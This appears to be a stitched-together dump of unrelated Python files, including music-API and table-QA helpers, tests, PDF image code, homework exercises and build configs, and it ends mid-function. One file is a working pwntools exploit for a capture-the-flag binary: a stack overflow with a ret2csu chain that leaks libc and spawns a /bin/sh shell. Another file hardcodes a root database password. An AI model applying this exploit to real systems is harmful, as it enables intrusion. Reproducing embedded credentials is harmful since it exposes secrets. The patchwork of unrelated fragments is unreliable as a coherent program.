# coding: UTF-8
import requests
"""通用的工具类"""

class RequestsHelper:
    headers = {'User-Agent': "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) "
                             "Chrome/72.0.3626.121 Safari/537.36",
               'Referer': 'http://y.qq.com'}

    @classmethod
    def set_domain(cls):
        """为之后更新不同音乐平台的api留接口"""
        pass

    @classmethod
    def url_is_error(cls, url):
        res = requests.get(url, headers=cls.headers)
        return res.raise_for_status()

    @staticmethod
    def splice_url(url, params: dict):
        """拼接url"""
        for k, v in params.items():
            url += (k + "=" + str(v))

        return url

    @classmethod
    def get_response_json(cls, url):
        response = requests.get(url, headers=cls.headers)
        return response.json()

    @classmethod
    def get_response_text(cls, url):
        response = requests.get(url, headers=cls.headers)
        return response.text


import json
from threading import *

from haystack import Document
from haystack.document_stores import InMemoryDocumentStore
from haystack.nodes import TableReader
from haystack.nodes.retriever import TableTextRetriever

"""
This class handles the Ai model initialization and Prediction on the queries.
For more info on Ai model used,
please refer:
https://haystack.deepset.ai/overview/intro
https://haystack.deepset.ai/tutorials/table-qa
"""

class Ai:

    def __printError(self, admin_req_id, error):
        """
        This method adds the error report to output buffer.
        If there is an admin request it includes the request id so that Node.js can reject it.
        :param admin_req_id: str
        :param error: str
        """
        if admin_req_id is not None:
            self.output_buffer.put(json.dumps({"type": "failed_admin",
                                               "id": admin_req_id,
                                               "error": error}))
        else:
            self.output_buffer.put(json.dumps({"type": "update",
                                               "component": "ai",
                                               "update": "error",
                                               "update_message": error}))

    def __processInfo(self):
        """
            This method converts the data sent by Database to Haystack processable data.
        """
        # Add the tables to the DocumentStore.
        self.output_buffer.put(json.dumps({"type": "update",
                                           "component": "ai",
                                           "update": "busy",
                                           "update_message": "Processing Documents"
                                           }))
        for key, table in self.tables.items():
            current_df = table["df"]
            current_doc_title = table["title"]
            current_section_title = table["section_title"]
            document = Document(
                content=current_df,
                content_type="table",
                meta={"title": current_doc_title, "section_title": current_section_title, "url": table["url"]},
                id=key,
            )
            self.processedTables.append(document)
        self.document_store.write_documents(self.processedTables, index="document")

    def __initPipeline(self):
        """
        This method initializes the table retriever and table reader.
        Table retriever retrieves top k matching docments from all documents stored in the DocumentManager.
        Table reader predicts the answer to the query on the retrieved table.
        """
        self.output_buffer.put(json.dumps({"type": "update",
                                           "component": "ai",
                                           "update": "busy",
                                           "update_message": "Initializing Pipeline"
                                           }))
        self.retriever = TableTextRetriever(
            document_store=self.document_store,
            query_embedding_model="deepset/bert-small-mm_retrieval-question_encoder",
            passage_embedding_model="deepset/bert-small-mm_retrieval-passage_encoder",
            table_embedding_model="deepset/bert-small-mm_retrieval-table_encoder",
            embed_meta_fields=["title", "section_title"],
        )

        # Add table embeddings to the tables in DocumentStore
        self.document_store.update_embeddings(retriever=self.retriever)
        self.reader = TableReader(model_name_or_path="google/tapas-large-finetuned-sqa", max_seq_len=512)
        self.output_buffer.put(json.dumps({"type": "update",
                                           "component": "ai",
                                           "update": "working",
                                           "update_message": "Ai Initialized"
                                           }))

    """
    This method removes all the dead threads that have predicted on a query.
    """

    def __clear_dead_processes(self):
        # only keep the alive processes
        self.ai_processes = [ai_process for ai_process in self.ai_processes if ai_process.is_alive()]

    """
    Overriding length function to return number of process currently running/dead.
    """

    def __len__(self):
        self.__clear_dead_processes()
        return len(self.ai_processes)

    """
    This method initializes the pipeline.
    """

    def __init__(self, data, output_buffer, admin_req_id=None):
        try:
            self.output_buffer = output_buffer
            self.tables = data
            self.retriever = None
            self.reader = None
            self.document_index = "document"
            self.document_store = InMemoryDocumentStore(embedding_dim=512)
            self.processedTables = []
            self.ai_processes = []
            self.__processInfo()
            self.__initPipeline()
        except BaseException as e:
            self.__printError(admin_req_id, 'Failed to initialize Ai, \n system message: {}'.format(e))

    """
    Updates the currently sored info and reinitializes the pipeline.
    """

    def updateData(self, data, admin_req_id=None):
        try:
            while self.__len__() > 0:  # wait for current requests to complete
                self.__clear_dead_processes()
            self.document_store = InMemoryDocumentStore(embedding_dim=512)
            self.processedTables = []
            self.tables = data
            self.__processInfo()
            self.__initPipeline()
        except BaseException as e:
            self.__printError(admin_req_id, "Failed to update the ai, system error {}".format(e))

    """
    This method creates a thread to predict on the query using the pipeline.
    """

    def ask(self, request, join, admin_req_id=None):
        try:
            msg_id, query = request
            if join:
                self.ai_processes[0].join()
                self.__clear_dead_processes()

            def threadFunction(query_msg, query_msg_id, output_buffer):
                try:
                    if query_msg is not None:
                        retrieved_tables = self.retriever.retrieve(query, top_k=1)
                        # Get highest scored table
                        retrieved_tables = [table for table in retrieved_tables if table.score >= 0.85]
                        if len(retrieved_tables) > 0:
                            # print(retrieved_tables[0].id)
                            table_doc = self.document_store.get_document_by_id(retrieved_tables[0].id)
                            prediction = self.reader.predict(query=query, documents=[table_doc])
                            answer = (" ".join([obj.answer for obj in prediction["answers"]])).strip()
                            if len(answer) > 0:
                                output = {"type": "ai_query",
                                          "id": query_msg_id,
                                          "url": table_doc.meta["url"],
                                          "title": table_doc.meta["title"],
                                          "answer": answer
                                          }
                                output_buffer.put(json.dumps(output))
                            else:
                                output = {"type": "ai_query",
                                          "id": query_msg_id,
                                          "url": table_doc.meta["url"],
                                          "title": table_doc.meta["title"],
                                          "answer": "The Ai was unable to retrieve info from the table please follow "
                                                    "the info link if available under this message. "
                                          }
                                output_buffer.put(json.dumps(output))
                        else:
                            output = {"type": "ai_query",
                                      "id": query_msg_id,
                                      "url": "N/A",
                                      "title": "N/A",
                                      "answer": "The Ai was unable to create a response for your question."
                                      }
                            output_buffer.put(json.dumps(output))
                except BaseException as e:
                    output = {"type": "ai_query",
                              "id": query_msg_id,
                              "url": "N/A",
                              "title": "N/A",
                              "answer": "Sorry the ai cannot process this query"
                              }
                    output_buffer.put(json.dumps(output))

            ai_thread = Thread(target=threadFunction, args=[query, msg_id, self.output_buffer])
            ai_thread.start()
            self.ai_processes.append(ai_thread)
        except BaseException as e:
            self.__printError(admin_req_id, "Ai did not process the query, system message {}".format(e))

dev_mode = False

if dev_mode:
    from components.database.db_helper import DbHelper
    import multiprocessing as mp

    output_buffer = mp.Queue()
    database = DbHelper("root", "e#uoo!5YPZMQ3G", output_buffer)  # sql username and password
    database.set_database("testDb")  # database name
    query_buffer = mp.Queue()
    max_ai_processes = 1  # max num of ai processes
    data = database.get_documents()
    ai = Ai(data, output_buffer)
    ai.ask(("123", "What is Athlete Avi Adam's height?"), len(ai) >= max_ai_processes)
    ai.ask(("123", "What is Athlete Avi Adam's coach?"), len(ai) >= max_ai_processes)
    ai.ask(("123", "Who is Athlete Adel Akhmed's age?"), len(ai) >= max_ai_processes)
    ai.ask(("123", "Who is Athlete Adel Akhmed's height?"), len(ai) >= max_ai_processes)
    ai.ask(("123", "Who is Athlete Ashley Anaka's coach?"), len(ai) >= max_ai_processes)
    ai.ask(("123", "How do i get there?"), len(ai) >= max_ai_processes)
    ai.ask(("123", "How can i find the bus?"), len(ai) >= max_ai_processes)
    ai.ask(("123", "tickets?"), len(ai) >= max_ai_processes)
    ai.ask(("123", "Where can i get the tickets?"), len(ai) >= max_ai_processes)
    ai.ask(("123", "Latest news on the canada games?"), len(ai) >= max_ai_processes)
    ai.ask(("123", "What was the score of ON in K 4 1000m Canoe event?"), len(ai) >= max_ai_processes)
    while not output_buffer.empty():
        print(output_buffer.get())


#!/usr/bin/python3
from pwn import *

elf = ELF("../public/chall")
libc = ELF("../src/libc.so.6")
context.binary = elf

# context.log_level = 'debug'

payload1 = b'A'*0x18
payload1 += b'\xc8' # Overflow stack address

p = process(elf.path)

p.sendafter(b"to: ",payload1)

pop_chain = 0x00000000004013da # pop rbx, rbp, r12, r13, r14, r15, ret
reg_call = 0x00000000004013c0 # rdx, rsi, edi, call qword ptr[r15+rbx*8]

syscall = elf.got['syscall']

def ret2csu(call,rdi,rsi,rdx):
    payload = p64(pop_chain)		# first call popper gadget
    payload += p64(0x00)            # pop rbx - set to 0 since it will be incremented later
    payload += p64(0x01)            # pop rbp - set to 1 so when compared to the incremented rbx results in equality
    payload += p64(rdi)             # pop r12 #rdi
    payload += p64(rsi)             # pop r13 #rsi
    payload += p64(rdx)             # pop r14 #rdx
    payload += p64(call)            # pop r15 func call
    payload += p64(reg_call)        # 2nd call caller gadget
    payload += p64(0x00)            # add rsp,0x8 padding
    payload += p64(0x00)            # rbx
    payload += p64(0x00)            # rbp
    payload += p64(0x00)            # r12
    payload += p64(0x00)            # r13
    payload += p64(0x00)            # r14
    payload += p64(0xfbfbfbfbfbfbfbfb)            # r15
    return payload

payload2 = ret2csu(syscall,1,1,syscall)
payload2 += p64(elf.symbols['main'])
payload2 += b"\x01"

p.sendafter(b"send: ",payload2)

leak = u64(p.recv(8).ljust(8, b"\x00"))
log.info("Leaked libc address,  write: "+ hex(leak))

libc.address = leak - libc.symbols['syscall']
libc_binsh = next(libc.search(b"/bin/sh"))
libc_system = libc.symbols["system"]

log.info("Leaked libc address,  base: "+ hex(libc.address))
log.info("Leaked libc address,  system: "+ hex(libc_system))
log.info("Leaked libc address,  binsh: "+ hex(libc_binsh))

payload1 = b'B'*0x18
payload1 += b'\xf8'

p.sendafter(b"to: ",payload1)

payload2 = b"C"*80 # padding, because stack ret address increased
payload2 += p64(0x000000000040101a) # ret
payload2 += p64(0x00000000004013e3) # pop_rdi
payload2 += p64(libc_binsh)
payload2 += p64(libc_system)

p.sendlineafter(b"send:",payload2)

p.interactive()


#!/usr/bin/env python3

import os
import sys
from operator import add
import shutil
from functools import reduce

def main():
    LOGDIR = "iterout"
    THRESOLD = 90

    dryrun = True
    if len(sys.argv) == 2 and sys.argv[1] == "1":
        dryrun = False
    else:
        print("dryrun mode")

    dirs = [p for p in (os.path.join(LOGDIR, d) for d in os.listdir(LOGDIR)) if os.path.isdir(p)]
    while len(dirs) != 0:
        path = dirs.pop()
        content = os.listdir(path)
        delete_flag = False

        # empty dir
        if len(content) == 0:
            delete_flag = True

        # log dir
        elif "iterlog.txt" in content:
            with open(os.path.join(path, "iterlog.txt")) as f:
                nlines = reduce(add, (1 for i in f), 0)
                if nlines < THRESOLD:
                    delete_flag = True

        # dig sub dir
        else:
            for c in content:
                subpath = os.path.join(path, c)
                if os.path.isdir(subpath):
                    dirs.append(subpath)

        if delete_flag:
            print("delete {}".format(path), content)
            if not dryrun:
                shutil.rmtree(path)

if __name__ == '__main__':
    main()


import qgate
from qgate.script import *

# creating a quantum register that represent a qubit like OpenQASM.
qreg = new_qreg()

# creating a quantum circuit with H gate.
circuit = [H(qreg)]

# creating reference as a placeholder to store measured result.
ref = new_reference()

# measure qreg
circuit.append(measure(ref, qreg))

# creating simulator instance
sim = qgate.simulator.py()

# running the prepared circuit on sim.
sim.run(circuit)

# showing a measured value.
value = sim.obs(ref)
print('Measured value: {}'.format(value))


import os
import time
import pytest

from myutils.testhelpers import netcat_from_to, run_cmd

from myutils.remote_utils import PYTHON_CMD_PREFIX

path    = os.path.dirname(os.path.realpath(__file__))
srv_cmd = PYTHON_CMD_PREFIX+[os.path.join(path, 'server.py')]
cli_cmd = PYTHON_CMD_PREFIX+[os.path.join(path, 'client.py')]

def hostport(s):
    return s.split(':')

def test_addr_rewriting(p4run, controller, pools):
    netcat_from_to('h4', 'h1', '10.0.1.1', port=7000)

def run_server(port, host=None, wait_to_bind=True):
    server = run_cmd(srv_cmd + [port], host, background=True)
    if wait_to_bind: time.sleep(0.5)
    return server

def get_conns_and_die(server):
    out, _ = server.communicate('die\n')
    return int(out.strip())

def run_client(nconns, shost, port, host=None):
    return run_cmd(cli_cmd + [nconns, shost, port], host)

def test_server_client():
    """Checks that the server and client are working. Does not actually use loadbalancing."""
    server = run_server(4700)
    assert run_client(10, 'localhost', 4700) == 0
    assert get_conns_and_die(server) == 10

@pytest.mark.skip(reason='flaky and weird')
def test_equal_balancing(p4run, controller, pools):
    NUM_CONNS = 1000
    TOLERANCE = 0.9
    mypool = '10.0.1.1:8000'
    pool_ip, pool_port = hostport(mypool)

    servers = []
    for s in pools[mypool]:
        host, port = hostport(s)
        servers.append(run_server(host=host, port=port, wait_to_bind=False))
    time.sleep(0.5)  # give them time to bind

    assert run_client(NUM_CONNS, pool_ip, pool_port, host='h4') == 0

    for s in servers:
        assert get_conns_and_die(s) >= TOLERANCE*NUM_CONNS/len(pools[mypool])


import h5py
import scipy.io as sio
import numpy as np
import matplotlib.pyplot as plt
import os

def preprocess(dataset_dir, subject_id):
    path = os.path.join(dataset_dir, 'RT_GENE_train_' + '{}.mat'.format(subject_id))
    out_dir = r'D:\RT-Gene_Dataset\mutiprocess_data\\'
    data = h5py.File(path)
    L_images = data['train/imagesL']
    R_images = data['train/imagesR']
    headpose = data['train/headposes']
    gazes = data['train/gazes']

    L_images = np.array(L_images)
    R_images = np.array(R_images)
    headpose = np.array(headpose)
    gazes = np.array(gazes)
    sio.savemat(out_dir+'RT_GENE_train_' + '{}.mat'.format(subject_id), {'imagesL':L_images, 'imagesR':R_images, 'headposes': headpose, 'gazes': gazes})
    print('data {} saved to {}'.format(subject_id, out_dir))

if __name__ == '__main__':
    path = r'D:\RT-Gene_Dataset\augment\\'
    subjects_test_threefold =['s000', 's001', 's002', 's003', 's004', 's007', 's008', 's009', 's010', 's005', 's006', 's011', 's012', 's013', 's014', 's015', 's016']

    subject_ids = ['%2s'%subject for subject in zip(subjects_test_threefold)]
    # subject_id = r'RT_GENE_test_s009'
    for subject in subject_ids:
        preprocess(dataset_dir=path, subject_id=subject)


import hashlib
import re
import enum
import subprocess
import logging
from .PnmPicture import PnmPictureFormat, PnmPicture
from llpdf.types.PDFName import PDFName
from llpdf.Exceptions import UnsupportedImageException
from llpdf.EncodeDecode import Filter

class PDFImageColorSpace(enum.IntEnum):
	DeviceRGB = 1
	DeviceGray = 2

class PDFImage(object):
	_log = logging.getLogger("llpdf.img.PDFImage")

	def __init__(self, width, height, colorspace, bits_per_component, imgdata, inverted):
		self._width = width
		self._height = height
		self._colorspace = colorspace
		self._bits_per_component = bits_per_component
		self._imgdata = imgdata
		self._inverted = inverted
		self._alpha = None

	def set_alpha(self, alpha_image):
		if (self.width != alpha_image.width) or (self.height != alpha_image.height):
			raise Exception("Tried to set alpha channel of different size than image. Image %d x %d, alpha %d x %d" % (self.width, self.height, alpha_image.width, alpha_image.height))
		self._alpha = alpha_image

	@classmethod
	def create_raw_from_object(cls, xobj):
		if (PDFName("/Width") not in xobj.content):
			raise UnsupportedImageException("Unsupported image without width: %s" % (xobj))

		width = xobj.content[PDFName("/Width")]
		height = xobj.content[PDFName("/Height")]
		if PDFName("/ColorSpace") in xobj.content:
			colorspace_info = xobj.content[PDFName("/ColorSpace")]
		else:
			cls._log.warning("Warning: No /ColorSpace attribute set in image of XObj %s, assuming /DeviceRGB.", str(xobj))
			colorspace_info = PDFName("/DeviceRGB")
		bits_per_component = xobj.content[PDFName("/BitsPerComponent")]
		filter_info = xobj.content[PDFName("/Filter")]
		decode = xobj.content.get(PDFName("/Decode"))
		if (decode is None) or (decode == [ 0, 1 ]):
			inverted = False
		elif decode == [ 1, 0 ]:
			inverted = True
		else:
			raise UnsupportedImageException("Cannot generate PDFImage object with non-trivial value decode array: %s" % (decode))
		if isinstance(filter_info, list):
			if len(filter_info) != 1:
				raise UnsupportedImageException("Multi-filter application is unsupported as of now: %s." % (filter_info))
			filter_info = filter_info[0]
		if isinstance(colorspace_info, list):
			raise UnsupportedImageException("Indexed images are currently unsupported: %s" % (colorspace_info))
		colorspace = {
			PDFName("/DeviceRGB"):			PDFImageColorSpace.DeviceRGB,
			PDFName("/DeviceGray"):			PDFImageColorSpace.DeviceGray,
		}.get(colorspace_info)
		if colorspace is None:
			raise UnsupportedImageException("Unsupported image color space '%s'." % (colorspace_info))
		return cls(width = width, height = height, colorspace = colorspace, bits_per_component = bits_per_component, imgdata = xobj.stream, inverted = inverted)

	@classmethod
	def create_from_object(cls, xobj, alpha_xobj = None):
		image = cls.create_raw_from_object(xobj)
		if alpha_xobj is not None:
			alpha_channel = cls.create_raw_from_object(alpha_xobj)
			image._alpha = alpha_channel
		return image

	@property
	def width(self):
		return self._width

	@property
	def height(self):
		return self._height

	@property
	def imgdata(self):
		return self._imgdata

	@property
	def colorspace(self):
		return self._colorspace

	@property
	def bits_per_component(self):
		return self._bits_per_component

	@property
	def inverted(self):
		return self._inverted

	@property
	def alpha(self):
		return self._alpha

	@property
	def total_size(self):
		size = len(self)
		if self.alpha is not None:
			size += len(self.alpha)
		return size

	@property
	def extension(self):
		return self.extension_for_filter(self.imgdata.filtering)

	@property
	def raw_extension(self):
		return self.raw_extension_for_filter(self.imgdata.filtering)

	@classmethod
	def extension_for_filter(cls, filtering):
		return {
			Filter.FlateDecode:		"pnm",
			Filter.RunLengthDecode:	"pnm",
			Filter.DCTDecode:		"jpg",
			Filter.CCITTFaxDecode:	"fax",
		}[filtering]

	@classmethod
	def raw_extension_for_filter(cls, filtering):
		return {
			Filter.FlateDecode:		"z",
			Filter.RunLengthDecode:	"rle",
			Filter.DCTDecode:		"jpg",
		}[filtering]

	def get_pixeldata(self):
		return self._imgdata.decode()

	def pixel_hash(self):
		return hashlib.md5(self.get_pixeldata()).hexdigest()

	def get_pnm(self):
		pixeldata = self.get_pixeldata()
		if (self.colorspace == PDFImageColorSpace.DeviceRGB) and (self.bits_per_component == 8):
			image = PnmPicture(width = self.width, height = self.height, data = pixeldata, img_format = PnmPictureFormat.Pixmap)
		elif (self.colorspace == PDFImageColorSpace.DeviceGray) and (self.bits_per_component == 8):
			if len(pixeldata) == 2 * self.width * self.height:
				# This is odd. On some LaTeX documents, the alpha channel image
				# is double of what the actual metadata indicates. Truncate
				self._log.warning("Warning: Duplicate image size of %s truncated from %d to %d bytes.", str(self), len(pixeldata), len(pixeldata) // 2)
				pixeldata = pixeldata[ : len(pixeldata) // 2]
			image = PnmPicture(width = self.width, height = self.height, data = pixeldata, img_format = PnmPictureFormat.Graymap)
		elif (self.colorspace == PDFImageColorSpace.DeviceGray) and (self.bits_per_component == 1):
			image = PnmPicture(width = self.width, height = self.height, data = pixeldata, img_format = PnmPictureFormat.Bitmap)
			image.invert()
		else:
			raise Exception("Creating PNM from this ColorSpace/BitsPerComponent combination is unsupported (%s/%d)." % (self.colorspace, self.bits_per_component))
		return image

	@staticmethod
	def _get_image_width_height(filename):
		output = subprocess.check_output([ "file", filename ])
		output = output.decode("utf-8")
		regex = re.compile(r"[,=] (?P<width>\d+)(x| x )(?P<height>\d+),")
		result = regex.search(output)
		if result is None:
			raise Exception("Cannot determine size from image.")
		result = result.groupdict()
		return (int(result["width"]), int(result["height"]))

	def writefile(self, filename, write_raw_data = False):
		if self.imgdata.lossless and (not write_raw_data):
			pnm_image = self.get_pnm()
			pnm_image.write_file(filename)
		else:
			with open(filename, "wb") as f:
				f.write(self._imgdata.encoded_data)

	def __len__(self):
		return len(self._imgdata)

	def _raw_str(self):
		return "Img<%d x %d, %s-%d, %s>" % (self.width, self.height, self.colorspace.name, self.bits_per_component, self.imgdata.filtering.name)

	def __str__(self):
		if self.alpha is None:
			return self._raw_str()
		else:
			return "%s with alpha %s" % (self._raw_str(), self.alpha._raw_str())


class Solution:
    def eventualSafeNodes(self, graph: List[List[int]]) -> List[int]:
        # 0 - not processed 1 - being processes 2 - already processed
        g = graph
        graph = defaultdict(list)

        for i in range(len(g)):
            for child in g[i]:
                graph[i].append(child)

        # print('ans; ', graph)
        color = [0] * len(g)
        def dfs(node):
            color[node] = 1

            found = True
            for neighbour in graph[node]:
                if color[neighbour] == 1:
                    return False
                if color[neighbour] == 0:
                    found = found and dfs(neighbour)

            if found:
                color[node] = 2

            return found

        for i in range(len(g)):
            if color[i] == 0:
                dfs(i)

        # print('ans: ', color)
        ans = []
        for i in range(len(color)):
            if color[i] == 2:
                ans.append(i)

        return ans


import pandas as pd
import glob
import openpyxl
folder_path = r"results"
files = glob.glob(folder_path + "\*.csv")
lists = []
for file in files:
    df = pd.read_csv(file, encoding='shift-jis')
    print(df)
    t2 = '_'
    t1 = '\\'
    idx_1 = file.find(t1)  # 半角空白文字のインデックスを検索
    idx_2 = file.find(t2)
    name = file[idx_1+1:idx_2]  # スライスで半角空白文字のインデックス＋1以降を抽出
    df.insert(0,'name',name)
    lists.append(df)
df = pd.concat(lists, axis=0)
df.to_excel("output.xlsx", encoding='shift-jis', index=False)


import math
def seiveoferatothenis(n):
    primebool = [True]*(n+1)
    primebool[0]= False
    primebool[1]=False
    i = 2
    while(i*i<=n):
        if primebool[i] == True:
            for i in range(i*2,n+1,i):
                primebool[i]=False
        i+=1
        prime = []
        for i in range(n+1):
            if primebool[i]== True:
                prime.append(i)

    return prime

def primefactor(x):
    p = []
    n = math.ceil(math.sqrt(x))
    p = seiveoferatothenis(n+1)
    fact = []
    i = 0
    f = 0
    t = x

    while(i<len(p)):
        if (p[i]<=x):
        # print("y")
            if (x % p[i] == 0):
                f = 1
                fact.append(p[i])
                x = x // p[i]
        if f == 0:
            i+=1
        else:
            i = 0
            f = 0

    if x != 1:
        fact.append(t)
    return fact

if __name__=="__main__":
    x = int(input())
    fact= []
    fact = primefactor(x)
    f = {}
    for i in fact:
        if i in f:
            f[i]+=1
        else:
            f[i]=1
    c = 1
    for i in f.values():
        c*=i+1
    #we can optimaze this loop
    print(c)


from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

import os
import urllib

import numpy as np
import tensorflow as tf

def main():
    print('Just the estimation!')

    IRIS_TEST = "iris_test.csv"

    # Specify that all features have real-value data
    feature_columns = [tf.feature_column.numeric_column("x", shape=[4])]

    # Build 3 layer DNN with 10, 20, 10 units respectively.
    classifier = tf.estimator.DNNClassifier(feature_columns=feature_columns,
                                          hidden_units=[10, 20, 10],
                                          n_classes=3,
                                          model_dir="/var/www/tensorflow/iris_model")

    # Classify two new flower samples.
    new_samples = np.array(
          [[6.4, 3.2, 4.5, 1.5],
           [5.8, 3.1, 5.0, 1.7]], dtype=np.float32)

    predict_input_fn = tf.estimator.inputs.numpy_input_fn(
          x={"x": new_samples},
          num_epochs=1,
          shuffle=False)

    predictions = list(classifier.predict(input_fn=predict_input_fn))
    predicted_classes = [p["classes"] for p in predictions]

    print(
      "New Samples, Class Predictions:    {}\n"
      .format(predicted_classes))

if __name__ == "__main__":
    main()


from typing import Dict, List

import matplotlib.pyplot as plt
import numpy as np

def movingaverage(interval: List, window_size: int) -> np.ndarray:
    window = np.ones(int(window_size)) / float(window_size)
    return np.convolve(interval, window, "same")

def plot_results(
    result: Dict[str, Dict],
    ymin: int = 0,
    ymax: int = None,
    yscale: str = "linear",
    moving: int = 5,
    alpha: float = 0.5,
) -> None:
    """workaround for tensorboard

    Args:
        result (Dict[str, Dict]): dictionary of history.history dicts
        ymin (int, optional): minimum y axis
        ymax (int, optional): maximum y axis. Defaults to None.
        yscale (str, optional): Linear of log scaling of y-axis. Defaults to "linear".
        moving (int, optional): Overlay a moving average. Defaults to 5.
        alpha (float, optional): transparancy. Defaults to 0.5.
    """

    fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(15, 10))
    move = type(moving) == int

    for key in result.keys():
        loss = result[key]["loss"]
        if move:
            z = movingaverage(loss, moving)
            z = np.concatenate([[np.nan] * moving, z[moving:-moving]])
            color = next(ax1._get_lines.prop_cycler)["color"]
            ax1.plot(z, label=key, color=color)
            ax1.plot(loss, label=key, alpha=alpha, color=color)
        else:
            ax1.plot(loss, label=key)

        ax1.set_yscale(yscale)
        ax1.set_ylim(ymin, ymax)
        ax1.set_title("train")

        valloss = result[key]["val_loss"]

        if move:
            z = movingaverage(valloss, moving)
            z = np.concatenate([[np.nan] * moving, z[moving:-moving]])
            color = next(ax2._get_lines.prop_cycler)["color"]
            ax2.plot(z, label=key, color=color)
            ax2.plot(valloss, label=key, alpha=alpha, color=color)
        else:
            ax2.plot(valloss, label=key)

        ax2.set_yscale(yscale)
        ax2.set_ylim(ymin, ymax)
        ax2.set_title("test")

    plt.legend()


'''
51. WAP to calculate factorial of a number by using recursion.'''

def facto(n):
    if n == 0 or n == 1:
        return 1
    return n * facto(n-1)

n = int(input("Enter a number: "))
print(f"Factotial of {n} is {facto(n)}")

'''
Output:
Enter a number: 6
Factotial of 6 is 720
'''


#!/usr/bin/env python3

import argparse

from migen import *
from flipsyfat.cores.sd_emulator import SDEmulator
from flipsyfat.cores.sd_trigger import SDTrigger
from flipsyfat.cores.sd_timer import SDTimer
from flipsyfat.cores.clock import ClockOutput
from misoc.targets.papilio_pro import BaseSoC
from misoc.cores.gpio import GPIOTristate
from migen.build.generic_platform import *
from misoc.integration.soc_sdram import *
from misoc.integration.builder import *

io = [
    ("sdemu", 0,
        Subsignal("clk", Pins("C:8")),
        Subsignal("cmd", Pins("C:9")),
        Subsignal("d", Pins("C:10 C:11 C:12 C:13")),
        IOStandard("LVCMOS33")
    ),
    ("trigger", 0,
        Pins("C:0 C:1 C:2 C:3 C:4 C:5 C:6 C:7"),
        IOStandard("LVCMOS33")
    ),
    ("gpio", 0,
        Pins("A:0 A:1 A:2 A:3 A:4 A:5 A:6 A:7 " +
             "A:8 A:9 A:10 A:11 A:12 A:13 A:14 A:15"),
        IOStandard("LVCMOS33")
    ),
    ("debug", 0,
        Pins("B:12 B:13 B:14 B:15"),
        IOStandard("LVCMOS33")
    ),
    ("clkout", 0,
        Pins("C:14 C:15"),
        IOStandard("LVCMOS33")
    ),
]

class Flipsyfat(BaseSoC):
    mem_map = {
        "sdemu": 0x30000000,
    }
    mem_map.update(BaseSoC.mem_map)

    def __init__(self, **kwargs):
        BaseSoC.__init__(self, uart_baudrate=500000, **kwargs)
        self.platform.add_extension(io)

        self.submodules.sdemu = SDEmulator(self.platform, self.platform.request("sdemu"))
        self.register_mem("sdemu", self.mem_map["sdemu"], self.sdemu.bus, self.sdemu.mem_size)
        self.csr_devices += ["sdemu"]
        self.interrupt_devices += ["sdemu"]

        self.submodules.sdtimer = SDTimer(self.sdemu.ll)
        self.csr_devices += ["sdtimer"]

        self.submodules.sdtrig = SDTrigger(self.sdemu.ll, self.platform.request("trigger"))
        self.csr_devices += ["sdtrig"]

        self.submodules.gpio = GPIOTristate(self.platform.request("gpio"))
        self.csr_devices += ["gpio"]

        self.submodules.clkout = ClockOutput(self.platform.request("clkout"))
        self.csr_devices += ["clkout"]

        # Activity LED
        self.io_activity = self.sdemu.ll.block_read_act | self.sdemu.ll.block_write_act
        self.sync += self.platform.request("user_led").eq(self.io_activity)

        # Debug signals
        self.comb += self.platform.request("debug").eq(Cat(
            self.sdemu.ll.block_read_act,
            self.sdemu.ll.data_out_done,
            self.sdtimer._capture.re,
        ))

def main():
    parser = argparse.ArgumentParser(description="Flipsyfat port to the Papilio Pro")
    builder_args(parser)
    soc_sdram_args(parser)
    args = parser.parse_args()

    soc = Flipsyfat(**soc_sdram_argdict(args))
    builder = Builder(soc, **builder_argdict(args))
    builder.build()

if __name__ == "__main__":
    main()


from PyQt5.QtWidgets import QMainWindow,QWidget,QApplication
import sys
class Pencere (QMainWindow):
    def __init__(self):
        super().__init__()
        self.program()
    def program(self):
        self.pencere=QWidget()
        self.pencere.setWindowTitle("Deneme")
        self.pencere.setMinimumSize(100,100)

        self.pencere.show()
app=QApplication(sys.argv)
pencere=Pencere()
sys.exit(app.exec())


# Задача 1. В каждой группе учится от 20 до 30 студентов.
# По итогам экзамена все оценки заносятся в таблицу.
# Каждой группе отведена своя строка. Определите группу с наилучшим средним баллом.
from random import randint
from statistics import mean

group = [[randint(2,5) for _ in range(0, randint(20, 30))] for _ in range(0, randint(2,11))]
gpa, group_number = mean(group[0]) , 1

def Compare_gpa(row, count):
    global gpa
    global group_number
    if mean(row) > gpa:
        gpa, group_number = mean(row), count

def Print_list(group):
    global gpa
    global group_number
    count = 1
    for row in group:
        Compare_gpa(row, count)
        print(f'{count}: {row}')
        count +=1
    print(f'\nГруппа:  {group_number}\nСредний балл: {round(gpa, 2)}')

Print_list(group)


import os
from SCons.Script import *

def configure(conf, cxx = True, threads = True):
    env = conf.env

    # See http://dmalloc.com/
    if env.get('dmalloc'):
        libname = 'dmalloc'

        if threads: libname += 'th'
        if cxx: libname += 'cxx'

        if cxx: lang = 'C++'
        else: lang = None

        conf.CBRequireLib(libname, language = lang)

    # See http://linux.die.net/man/3/efence
    if env.get('efence'): conf.CBRequireLib('efence')

    # See http://code.google.com/p/google-perftools
    if env.get('tcmalloc'):
        if conf.CBCheckCXXHeader('google/tcmalloc.h'):
            env.CBDefine('HAVE_TCMALLOC_H')

        libname = 'tcmalloc'
        #if env.get('debug'): libname += '_debug'

        conf.CBRequireLib(libname)
        env.Append(PREFER_DYNAMIC = [libname])

        env.AppendUnique(CCFLAGS = [
                '-fno-builtin-malloc', '-fno-builtin-calloc',
                '-fno-builtin-realloc', '-fno-builtin-free'])

    # See http://libcwd.sourceforge.net/
    if env.get('cwd'):
        libname = 'cwd'
        if threads:
            libname += '_r'
            env.CBDefine('LIBCWD_THREAD_SAFE')

        if env.get('debug'): env.CBDefine('CWDEBUG')

        if conf.CBCheckCXXHeader('libcwd/sys.h'):
            env.CBDefine('HAVE_LIBCWD')

        conf.CBRequireLib(libname)

        # libcwd does not work if libdl is included anywhere earlier
        conf.CBRequireLib('dl')

def generate(env):
    env.CBAddConfigTest('malloc', configure)

    env.CBAddVariables(
        ('dmalloc', 'Compile with dmalloc', 0),
        ('tcmalloc', 'Compile with google perfomrance tools malloc', 0),
        ('cwd', 'Compile with libcwd', 0),
        ('efence', 'Compile with electric-fence', 0))

def exists():
    return 1


class ReadVisits(object):
	def __init__(self, data_path):
		self.data_path = data_path

	def __iter__(self):
		with open(self.data_path) as f:
			for line in f:
				yield int(line)

def normalize_defensive(numbers):
	if iter(numbers) is iter(numbers):
